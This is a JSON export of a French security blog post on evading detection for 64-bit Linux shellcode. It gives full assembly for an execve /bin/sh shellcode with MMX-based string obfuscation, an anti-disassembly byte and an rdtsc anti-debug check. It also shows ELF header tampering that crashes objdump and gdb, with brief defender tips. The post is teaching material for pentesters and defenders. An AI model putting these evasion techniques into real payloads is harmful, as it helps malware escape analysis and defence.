{"id":1,"date":"2017-12-29T17:22:02","date_gmt":"2017-12-29T16:22:02","guid":{"rendered":"http:\/\/pentester.blog\/?p=1"},"modified":"2019-08-18T19:48:57","modified_gmt":"2019-08-18T17:48:57","slug":"bonjour-tout-le-monde","status":"publish","type":"post","link":"https:\/\/hacktarus.fr\/?p=1","title":{"rendered":"Linux shellcode 64 bits &#8211; Obfuscation"},"content":{"rendered":"<p>L&rsquo;objet de cette s\u00e9rie d&rsquo;articles est d&rsquo;aborder quelques techniques d&rsquo;\u00e9vasion pour des shellcodes (une connaissance minimale sur les shellcodes est donc un pr\u00e9requis).<\/p>\n<p>Ces techniques sont susceptibles d&rsquo;int\u00e9resser les pentesters mais aussi les cyberd\u00e9fenseurs dans leur lutte quotidienne contre les attaques informatiques.<\/p>\n<p>Une petite pr\u00e9cision par rapport aux codes sources. Le code pr\u00e9sent\u00e9 ici n&rsquo;est pas 100% \u00ab\u00a0exploit safe\u00a0\u00bb, c&rsquo;est \u00e0 dire que je n&rsquo;ai pas syst\u00e9matiquement v\u00e9rifi\u00e9 l&rsquo;absence de z\u00e9ros dans les opcodes g\u00e9n\u00e9r\u00e9s.<\/p>\n<p>Par exemple ce mov n&rsquo;est pas exploit safe car il g\u00e9n\u00e8re des opcodes avec des z\u00e9ros :<\/p>\n<pre>48 c7 c0 01 <strong>00 00 00<\/strong> \u00a0 \u00a0mov \u00a0 \u00a0rax,0x1\r\n<\/pre>\n<p>Mais ce code-ci qui aboutit au m\u00eame r\u00e9sultat est lui \u00ab\u00a0exploit safe\u00a0\u00bb :<\/p>\n<pre>48 31 c0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0xor \u00a0 \u00a0rax,rax\r\nb0 01 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 mov \u00a0 \u00a0al,0x1<\/pre>\n<p>OK, prenons pour exemple un shellcode classique dont le but est de lancer un shell \/bin\/sh<\/p>\n<pre>; Author : Patrice Siracusa\r\n;\r\n; $ nasm -f elf64 sc64basic.nasm -o sc64basic.o\r\n; $ ld sc64basic.o -o sc64basic\r\n;\r\n; 64 bits system exec parameters : \r\n;\r\n; %rax  System call  %rdi  %rsi  %rdx  %r10  %r8\r\n; 0x3b  sys_execve  const char *filename   const char *const argv[]\tconst char *const envp[]\r\n\r\nglobal _start\r\n   \r\n_start:\r\n        ; \/bin\/sh in reverse order is hs\/nib\/ which is 0x68732f6e69622f\r\n\tmov rcx, 0x68732f6e69622f \r\n\tpush rcx                    ; push the immediate value stored in rcx onto the stack\r\n\txor rdx, rdx\r\n\tlea rdi, [rsp]              ; load the address of the string that is on the stack into rdi\r\n\tmov al, 0x3b\r\n\tsyscall                     ; make the syscall\r\n\r\n<\/pre>\n<p>Un tel shellcode est facilement rep\u00e9rable car :<\/p>\n<ul>\n<li>la cha\u00eene de caract\u00e8res \/bin\/sh ou ici sa version little endian hs\/nib appara\u00eet en clair dans le registre rcx<\/li>\n<li>l&rsquo;appel \u00e0 la fonction syst\u00e8me execve 0x3b est rep\u00e9rable directement<\/li>\n<\/ul>\n<p><strong>Obfuscation<\/strong><\/p>\n<p>Afin de contourner ce probl\u00e8me, un attaquant peut utiliser plusieurs techniques comme l&rsquo;obfuscation.<\/p>\n<p>On remplace tout ce qui est facilement identifiable\u00a0 comme la chaine de caract\u00e8re \/bin\/sh et l&rsquo;appel syst\u00e8me execve 0x3b par un code diff\u00e9rent mais qui aboutit au m\u00eame r\u00e9sultat.<\/p>\n<p>Au fait, dans ce genre, il y a quelques trucs pour remplacer les classiques XOR ou PUSH, cela peut aider \u00e0 passer du pattern-matching :<\/p>\n<p>XOR<\/p>\n<pre>Un xor rax, rax peut se remplacer par :\r\n\r\n mov rbx, rax\r\n sub rax, rbx<\/pre>\n<p>PUSH<\/p>\n<pre>Un\u00a0\u00a0push rax peut se remplacer par :\r\n\r\n mov qword [rsp - 8], rax\r\n sub rsp, 8<\/pre>\n<p>Pour masquer la chaine \/bin\/sh, on peut par exemple imaginer une addition de deux registres donnant comme r\u00e9sultat la valeur souhait\u00e9e 0x68732f6e69622f.\u00a0 Et pour faire cette addition on peut ajouter un peu de fun en utilisant une instruction MMX ou bien du SSE\/SSE2.<\/p>\n<p>Quant \u00e0 l&rsquo;appel syst\u00e8me avec 0x3b dans le registre AL, l\u00e0 aussi on peut se dire qu&rsquo;on ne met pas directement cette valeur dans AL mais qu&rsquo;on y arrive avec une addition.<\/p>\n<p>Voici un exemple de code avec ces modifications.<\/p>\n<pre>; Author : Patrice Siracusa\r\n;\r\n; $ nasm -f elf64 sc64v1.nasm -o sc64v1.o\r\n; $ ld sc64v1.o -o sc64v1\r\n;\r\n; 64 bits system exec parameters : \r\n;\r\n; %rax  System call  %rdi  %rsi  %rdx  %r10  %r8\r\n; 0x3b  sys_execve  const char *filename   const char *const argv[]\tconst char *const envp[]\r\n\r\nglobal _start\r\n   \r\n_start:\r\n        ; \/bin\/sh in reverse order is hs\/nib\/ which is 0x68732f6e69622f\r\n        ; Obfuscate value with a simple addition\r\n        ;  68 73 2f 6e 69 62 2f\r\n        ; - 50 53 01 42 4a 50 02  X value\r\n        ; = 18 20 2e 2c 1f 12 2d  Y value\r\n\r\n\tmov rcx, 0x69505301424a5002   ; X value is padded with a random value, 0x69\r\n\tmovq mm0, rcx                 ; build the string value using MMX add instruction for obfuscation\r\n\tmov rcx, 0x6918202e2c1f122d   ; Y value is padded with a random value, 0x69\r\n\tmovq mm1, rcx\r\n\tpaddusb mm0, mm1            ; add mm0 with mm1 (parallel execution) and construct hs\/nib\/  \r\n\tmovq rcx, mm0\r\n\temms                        ; return to FPU mode\r\n\txor rdx, rdx                ; zero out rdx for an execve argument \r\n        shl rcx, 0x08               ; left shift to trim off the two bytes of padding (0x69 is wiped and replaced with 0x00) \r\n\tmov al, 0x30                ; move 0x30 (execve syscall is 0x3b) into al\r\n        shr rcx, 0x08               ; right shift to re order string (0x00 is cleared, rcx is now \/hs\/nib)\r\n\tpush rcx                    ; push the immediate value stored in rcx onto the stack\r\n\tlea rdi, [rsp]              ; load the address of the string that is on the stack into rdi\r\n        add al, 0x0b\t\t    ; move 0x3b into al (execve syscall)\r\n\tsyscall                     ; make the syscall\r\n<\/pre>\n<p><strong>Cyberd\u00e9fense<\/strong><\/p>\n<p>Le pattern-matching risque d&rsquo;\u00e9chouer car le code est obfusqu\u00e9.<\/p>\n<p>Un dump du code ne permet plus de voir d&rsquo;un simple coup d&rsquo;oeil qu&rsquo;il s&rsquo;agit d&rsquo;un appel \u00e0 \/bin\/sh n\u00e9anmoins en suivant pas \u00e0 pas les instructions avec gdb on y arrive ais\u00e9ment.<\/p>\n<p><strong>Anti-dump\u00a0<\/strong><\/p>\n<p>Un attaquant aura vite trouv\u00e9 une solution pour perturber les dumpers de code et les debuggers.<\/p>\n<p>Une solution simple pour pertuber la commande objdump sous Linux, est d&rsquo;ajouter un opcode incomplet (par exemple prendre un opcode qui tient normalement sur 2 octets et de n&rsquo;en prendre qu&rsquo;un seul) puis de passer par dessus avec un jump :<\/p>\n<pre>\tjmp begin+1\t\r\n\r\nbegin: \r\n\tdb 0xe9\t; E9 is opcode for jmp to disalign disassembly like objdump\r\n        suite du code\r\n<\/pre>\n<p>Le nouveau shellcode avec cet anti-dump :<\/p>\n<pre>; Author : Patrice Siracusa\r\n;\r\n; $ nasm -f elf64 sc64v2.nasm -o sc64v2.o\r\n; $ ld sc64v2.o -o sc64v2\r\n;\r\n; 64 bits system exec parameters : \r\n;\r\n; %rax  System call  %rdi  %rsi  %rdx  %r10  %r8\r\n; 0x3b  sys_execve  const char *filename   const char *const argv[]\tconst char *const envp[]\r\n\r\nglobal _start\r\n   \r\n_start:\r\n        ; \/bin\/sh in reverse order is hs\/nib\/ which is 0x68732f6e69622f\r\n        ; Obfuscate value with a simple addition\r\n        ;  68 73 2f 6e 69 62 2f\r\n        ; - 50 53 01 42 4a 50 02  X value\r\n        ; = 18 20 2e 2c 1f 12 2d  Y value\r\n\tjmp begin+1\t\r\n\r\nbegin: \r\n\tdb 0xe9\t\t\t      ; E9 is opcode for jmp to disalign disassembly\r\n\t\r\n        mov rcx, 0x69505301424a5002   ; X value is padded with a random value, 0x69 \r\n\tmovq mm0, rcx                 ; build the string value using MMX add instruction for obfuscation\r\n\tmov rcx, 0x6918202e2c1f122d   ; Y value is padded with a random value, 0x69\r\n\tmovq mm1, rcx\r\n\tpaddusb mm0, mm1            ; add mm0 with mm1 (parallel execution) and construct hs\/nib\/ \r\n\tmovq rcx, mm0\r\n\temms                        ; return to FPU mode\r\n\txor rdx, rdx                ; zero out rdx for an execve argument\r\n        shl rcx, 0x08               ; left shift to trim off the two bytes of padding (0x69 is wiped and replaced with 0x00)\r\n\tmov al, 0x30                ; move 0x30 (execve syscall is 0x3b) into al\r\n        shr rcx, 0x08               ; right shift to re order string (0x00 is cleared, rcx is now \/hs\/nib)\r\n\tpush rcx                    ; push the immediate value stored in rcx onto the stack\r\n\tlea rdi, [rsp]              ; load the address of the string that is on the stack into rdi\r\n        add al, 0x0b\t\t    ; move 0x3b into al (execve syscall)\r\n\tsyscall                     ; make the syscall\r\n\r\n<\/pre>\n<p>Lan\u00e7ons un objdump pour voir le r\u00e9sultat.<\/p>\n<p>On voit que l&rsquo;ajout de l&rsquo;opcode 0xE9 a perturb\u00e9 l&rsquo;alignement d&rsquo;objdump, le code dump\u00e9 ne correspond pas au code source :<\/p>\n<pre>objdump -D sc64blog\r\n\r\nsc64blog:     format de fichier elf64-x86-64\r\n\r\n\r\nD\u00e9assemblage de la section .text\u00a0:\r\n\r\n0000000000400080 &lt;_start&gt;:\r\n  400080:\teb 01                \tjmp    400083 &lt;begin+0x1&gt;\r\n\r\n0000000000400082 :\r\n  400082:\te9 48 b9 02 50       \tjmpq   5042b9cf &lt;_end+0x4fe2b917&gt;\r\n  400087:\t4a                   \trex.WX\r\n  400088:\t42 01 53 50          \trex.X add %edx,0x50(%rbx)\r\n  40008c:\t00 48 0f             \tadd    %cl,0xf(%rax)\r\n  40008f:\t6e                   \toutsb  %ds:(%rsi),(%dx)\r\n  400090:\tc1 48 b9 2d          \trorl   $0x2d,-0x47(%rax)\r\n  400094:\t12 1f                \tadc    (%rdi),%bl\r\n  400096:\t2c 2e                \tsub    $0x2e,%al\r\n  400098:\t20 18                \tand    %bl,(%rax)\r\n  40009a:\t00 48 0f             \tadd    %cl,0xf(%rax)\r\n  40009d:\t6e                   \toutsb  %ds:(%rsi),(%dx)\r\n  40009e:\tc9                   \tleaveq \r\n  40009f:\t0f dc c1             \tpaddusb %mm1,%mm0\r\n  4000a2:\t48 0f 7e c1          \tmovq   %mm0,%rcx\r\n  4000a6:\t0f 77                \temms   \r\n  4000a8:\t48 31 d2             \txor    %rdx,%rdx\r\n  4000ab:\tb0 30                \tmov    $0x30,%al\r\n  4000ad:\t51                   \tpush   %rcx\r\n  4000ae:\t48 8d 3c 24          \tlea    (%rsp),%rdi\r\n  4000b2:\t04 0b                \tadd    $0xb,%al\r\n  4000b4:\t0f 05                \tsyscall \r\n<\/pre>\n<p><strong>Cyberd\u00e9fense<\/strong><\/p>\n<p>Il suffit de lancer le debugger gdb et de tracer les instructions pas \u00e0 pas.<\/p>\n<p><strong>Anti-debugger<\/strong><\/p>\n<p>L\u00e0 encore un attaquant peut emp\u00eacher le bon fonctionnement de gdb de plusieurs fa\u00e7ons.<\/p>\n<p>Si le shellcode ne fait pas partie d&rsquo;un exploit mais est un ex\u00e9cutable :<\/p>\n<p>On peut manipuler le header ELF du binaire et\u00a0 fait croire qu&rsquo;il s&rsquo;agit d&rsquo;un binaire 32 bits alors qu&rsquo;il s&rsquo;agit en r\u00e9alit\u00e9 d&rsquo;un binaire 64 bits. Dans le m\u00eame ordre d&rsquo;id\u00e9e on peut modifier un autre bit du header ELF pour indiquer qu&rsquo;il s&rsquo;agit d&rsquo;un code pour une plateforme en big endian alors qu&rsquo;il s&rsquo;agit en r\u00e9alit\u00e9 d&rsquo;un binaire pour une plateforme en little endian.<\/p>\n<p><em>Ces modifications perturbent bon nombre d&rsquo;outils mais n&#8217;emp\u00eachent pas le binaire de fonctionner normalement !<\/em><\/p>\n<p>Tout d&rsquo;abord, on v\u00e9rifie les informations pr\u00e9sentes avec la commande readelf, on voit bien qu&rsquo;il s&rsquo;agit d&rsquo;un 64 bits little endian :<\/p>\n<pre>readelf -h .\/sc64v2\r\nEn-t\u00eate ELF:\r\n  Magique:   7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 \r\n  Classe:                            <strong>ELF64<\/strong>\r\n  Donn\u00e9es:                          compl\u00e9ment \u00e0 2, syst\u00e8me \u00e0 octets de poids faible d'abord (<strong>little endian<\/strong>)\r\n  Version:                           1 (current)\r\n  OS\/ABI:                            UNIX - System V\r\n  Version ABI:                       0\r\n  Type:                              EXEC (fichier ex\u00e9cutable)\r\n  Machine:                           Advanced Micro Devices X86-64\r\n  Version:                           0x1\r\n  Adresse du point d'entr\u00e9e:         0x400080\r\n  D\u00e9but des en-t\u00eates de programme\u00a0:  64 (octets dans le fichier)\r\n  D\u00e9but des en-t\u00eates de section :    464 (octets dans le fichier)\r\n  Fanions:                           0x0\r\n  Taille de cet en-t\u00eate:             64 (octets)\r\n  Taille de l'en-t\u00eate du programme:  56 (octets)\r\n  Nombre d'en-t\u00eate du programme:     1\r\n  Taille des en-t\u00eates de section:    64 (octets)\r\n  Nombre d'en-t\u00eates de section:      5\r\n  Table d'indexes des cha\u00eenes d'en-t\u00eate de section: 4<\/pre>\n<p>Pour modifier le header, on peut utiliser n&rsquo;importe quel \u00e9diteur hexad\u00e9cimal, j&rsquo;ai choisi ici l&rsquo;outil hexcurse :<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-22\" src=\"http:\/\/hacktarus.fr\/wp-content\/uploads\/2017\/12\/Capture-d\u2019e\u0301cran-2017-12-29-a\u0300-22.04.30.png\" alt=\"\" width=\"1834\" height=\"308\" \/><\/p>\n<p class=\"p1\"><span class=\"s1\">Le 5i\u00e8me octet d\u00e9finit le format 32 ou 64 bits :\u00a0<\/span><span class=\"s1\">(1) 32Bits\u00a0<\/span><span class=\"s1\">(2) 64Bits.\u00a0<\/span><span class=\"s1\">On modifie le\u00a0<\/span><span class=\"s1\">5i\u00e8me octet et on le passe \u00e0 1.<\/span><\/p>\n<p class=\"p1\"><span class=\"s1\">Le 6i\u00e8me octet d\u00e9finit l&rsquo;endianness :\u00a0<\/span><span class=\"s1\">(1) LSB\u00a0<\/span><span class=\"s1\">(2) MSB.\u00a0<\/span><span class=\"s1\">On modifie le 6i\u00e8me octet et on le passe \u00e0 2.<\/span><\/p>\n<p class=\"p1\">Testons ces modifs avec quelques commandes linux classiques :<\/p>\n<ul>\n<li>file<\/li>\n<\/ul>\n<p>la commande file est perturb\u00e9e<\/p>\n<pre><strong>file sc64<\/strong>\r\nsc64elf: ELF 32-bit MSB *unknown arch 0x3e00* (SYSV)\r\n<\/pre>\n<ul>\n<li class=\"p1\">readelf<\/li>\n<\/ul>\n<p>Il croit qu&rsquo;il s&rsquo;agit d&rsquo;un executable 32 bits pour big endian :<\/p>\n<pre>En-t\u00eate ELF:\r\n  Magique:   7f 45 4c 46 01 02 01 00 00 00 00 00 00 00 00 00 \r\n  Classe:                            <strong>ELF32<\/strong>\r\n  Donn\u00e9es:                          compl\u00e9ment \u00e0 2, syst\u00e8me \u00e0 octets de poids fort d'abord (<strong>big endian<\/strong>)\r\n  Version:                           1 (current)\r\n  OS\/ABI:                            UNIX - System V\r\n  Version ABI:                       0\r\n  Type:                              : 200\r\n  Machine:                           : 0x3e00\r\n  Version:                           0x1000000\r\n  Adresse du point d'entr\u00e9e:         0x80004000\r\n  D\u00e9but des en-t\u00eates de programme\u00a0:  0 (octets dans le fichier)\r\n  D\u00e9but des en-t\u00eates de section :    1073741824 (octets dans le fichier)\r\n  Fanions:                           0x0\r\n  Taille de cet en-t\u00eate:             53249 (octets)\r\n  Taille de l'en-t\u00eate du programme:  0 (octets)\r\n  Nombre d'en-t\u00eate du programme:     0\r\n  Taille des en-t\u00eates de section:    0 (octets)\r\n  Nombre d'en-t\u00eates de section:      0\r\n  Table d'indexes des cha\u00eenes d'en-t\u00eate de section: 0\r\n<strong>readelf: AVERTISSEMENT: en-t\u00eate ELF peut-\u00eatre endommag\u00e9 \u2013 il a un offset non nul pour l'en-t\u00eate de section mais pas d'en-t\u00eate de section\r\n<\/strong><\/pre>\n<ul>\n<li class=\"p1\">objdump<\/li>\n<\/ul>\n<p>Objdump plante :<\/p>\n<pre><strong>objdump -M intel -D .\/sc64<\/strong>\r\nobjdump: .\/sc64: Fichier tronqu\u00e9\r\n\r\n<\/pre>\n<ul>\n<li class=\"p1\">gdb<\/li>\n<\/ul>\n<p>gdb plante \u00e9galement :<\/p>\n<pre><strong>gdb .\/sc64<\/strong> \r\nGNU gdb (Debian 7.12-6) 7.12.0.20161007-git\r\nCopyright (C) 2016 Free Software Foundation, Inc.\r\nLicense GPLv3+: GNU GPL version 3 or later &lt;http:\/\/gnu.org\/licenses\/gpl.html&gt;\r\nThis is free software: you are free to change and redistribute it.\r\nThere is NO WARRANTY, to the extent permitted by law.  Type \"show copying\"\r\nand \"show warranty\" for details.\r\nThis GDB was configured as \"x86_64-linux-gnu\".\r\nType \"show configuration\" for configuration details.\r\nFor bug reporting instructions, please see:\r\n&lt;http:\/\/www.gnu.org\/software\/gdb\/bugs\/&gt;.\r\nFind the GDB manual and other documentation resources online at:\r\n&lt;http:\/\/www.gnu.org\/software\/gdb\/documentation\/&gt;.\r\nFor help, type \"help\".\r\nType \"apropos word\" to search for commands related to \"word\"...\r\n<strong>\"\/root\/shellcodes\/.\/sc64\": not in executable format: Fichier tronqu\u00e9<\/strong>\r\n(gdb) \r\n<\/pre>\n<p>Que le shellcode fasse partie d&rsquo;un exploit ou bien soit un binaire ex\u00e9cutable, il est possible de perturber le d\u00e9bugger gdb de multiples fa\u00e7ons.<\/p>\n<p>Une des m\u00e9thodes est de se baser sur le temps. On calcule le temps d&rsquo;ex\u00e9cution et si ce n&rsquo;est pas le temps attendu, on exit :<\/p>\n<pre>\trdtsc                       ; get current timestamp (saved in a 64 bit value: EDX [first half], EAX [second half])\r\n\txor ecx,ecx                 ; sets ECX to zero\r\n\tadd ecx,eax                 ; save timestamp to ECX\r\n\trdtsc                       ; get another timestamp\r\n\tsub eax,ecx                 ; compute elapsed ticks\r\n\tcmp eax,0xFFF\t\t    ; jump if less than FFF ticks (assumes that program is not running under a debugging tool like gdb...)\r\n\tjl next\r\n\tretn\t\t\t    ; program crash<\/pre>\n<p>Voici le shellcode en int\u00e9grant la technique anti-dump et anti-debug :<\/p>\n<pre>; Author : Patrice Siracusa\r\n;\r\n; $ nasm -f elf64 sc64v3.nasm -o sc64v3.o\r\n; $ ld sc64v3.o -o sc64v3\r\n;\r\n; 64 bits system exec parameters : \r\n;\r\n; %rax  System call  %rdi  %rsi  %rdx  %r10  %r8\r\n; 0x3b  sys_execve  const char *filename   const char *const argv[]\tconst char *const envp[]\r\n\r\nglobal _start\r\n   \r\n_start:\r\n        ; \/bin\/sh in reverse order is hs\/nib\/ which is 0x68732f6e69622f\r\n        ; Obfuscate value with a simple addition\r\n        ;  68 73 2f 6e 69 62 2f\r\n        ; - 50 53 01 42 4a 50 02  X value\r\n        ; = 18 20 2e 2c 1f 12 2d  Y value\r\n\tjmp begin+1\t\r\n\r\nbegin: \r\n\tdb 0xe9\t\t\t    ; E9 is opcode for jmp to disalign disassembly\r\n\r\n\trdtsc                       ; get current timestamp (saved in a 64 bit value: EDX [first half], EAX [second half])\r\n\txor ecx,ecx                 ; sets ECX to zero\r\n\tadd ecx,eax                 ; save timestamp to ECX\r\n\trdtsc                       ; get another timestamp\r\n\tsub eax,ecx                 ; compute elapsed ticks\r\n\tcmp eax,0xFFF\t\t    ; jump if less than FFF ticks (assumes that program is not running under a debugging tool like gdb...)\r\n\tjl next\r\n\tretn\t\t\t    ; program crash\r\n\r\n\tmov rcx, 0x69505301424a5002   ; X value is padded with a random value, 0x69 \r\n\tmovq mm0, rcx                 ; build the string value using MMX add instruction for obfuscation\r\n\tmov rcx, 0x6918202e2c1f122d   ; Y value is padded with a random value, 0x69\r\n\tmovq mm1, rcx\r\n\tpaddusb mm0, mm1            ; add mm0 with mm1 (parallel execution) and construct hs\/nib\/ \r\n\tmovq rcx, mm0\r\n\temms                        ; return to FPU mode\r\n\txor rdx, rdx                ; zero out rdx for an execve argument\r\n        shl rcx, 0x08               ; left shift to trim off the two bytes of padding (0x69 is wiped and replaced with 0x00)\r\n\tmov al, 0x30                ; move 0x30 (execve syscall is 0x3b) into al\r\n        shr rcx, 0x08               ; right shift to re order string (0x00 is cleared, rcx is now \/hs\/nib)\r\n\tpush rcx                    ; push the immediate value stored in rcx onto the stack\r\n\tlea rdi, [rsp]              ; load the address of the string that is on the stack into rdi\r\n        add al, 0x0b\t\t    ; move 0x3b into al (execve syscall)\r\n\tsyscall                     ; make the syscall\r\n<\/pre>\n<p><strong>Cyberd\u00e9fense<\/strong><\/p>\n<p>Si objdump ou gdb se plante d\u00e8s le d\u00e9but,\u00a0 jettez un oeil au header ELF.<\/p>\n<p>Si en tra\u00e7ant pas \u00e0 pas gdb crash, pensez \u00e0 faire des jump par dessus du code anti-debug.<\/p>\n<p>Voila, apr\u00e8s avoir vu rapidement quelques techniques d&rsquo;obfuscation, nous verrons dans <a href=\"http:\/\/hacktarus.fr\/?p=39\">le prochain article<\/a> quelques techniques d&rsquo;encodage.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>L&rsquo;objet de cette s\u00e9rie d&rsquo;articles est d&rsquo;aborder quelques techniques d&rsquo;\u00e9vasion pour des shellcodes (une connaissance minimale sur les shellcodes est donc un pr\u00e9requis). Ces techniques sont susceptibles d&rsquo;int\u00e9resser les pentesters mais aussi les cyberd\u00e9fenseurs dans leur lutte quotidienne contre les attaques informatiques. Une petite pr\u00e9cision par rapport aux codes sources. Le code pr\u00e9sent\u00e9 ici n&rsquo;est &hellip; <a href=\"https:\/\/hacktarus.fr\/?p=1\" class=\"more-link\">Continuer la lecture de <span class=\"screen-reader-text\">Linux shellcode 64 bits &#8211; Obfuscation<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[2],"tags":[],"class_list":["post-1","post","type-post","status-publish","format-standard","hentry","category-shellcode"],"_links":{"self":[{"href":"https:\/\/hacktarus.fr\/index.php?rest_route=\/wp\/v2\/posts\/1","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/hacktarus.fr\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/hacktarus.fr\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/hacktarus.fr\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/hacktarus.fr\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1"}],"version-history":[{"count":76,"href":"https:\/\/hacktarus.fr\/index.php?rest_route=\/wp\/v2\/posts\/1\/revisions"}],"predecessor-version":[{"id":257,"href":"https:\/\/hacktarus.fr\/index.php?rest_route=\/wp\/v2\/posts\/1\/revisions\/257"}],"wp:attachment":[{"href":"https:\/\/hacktarus.fr\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/hacktarus.fr\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/hacktarus.fr\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}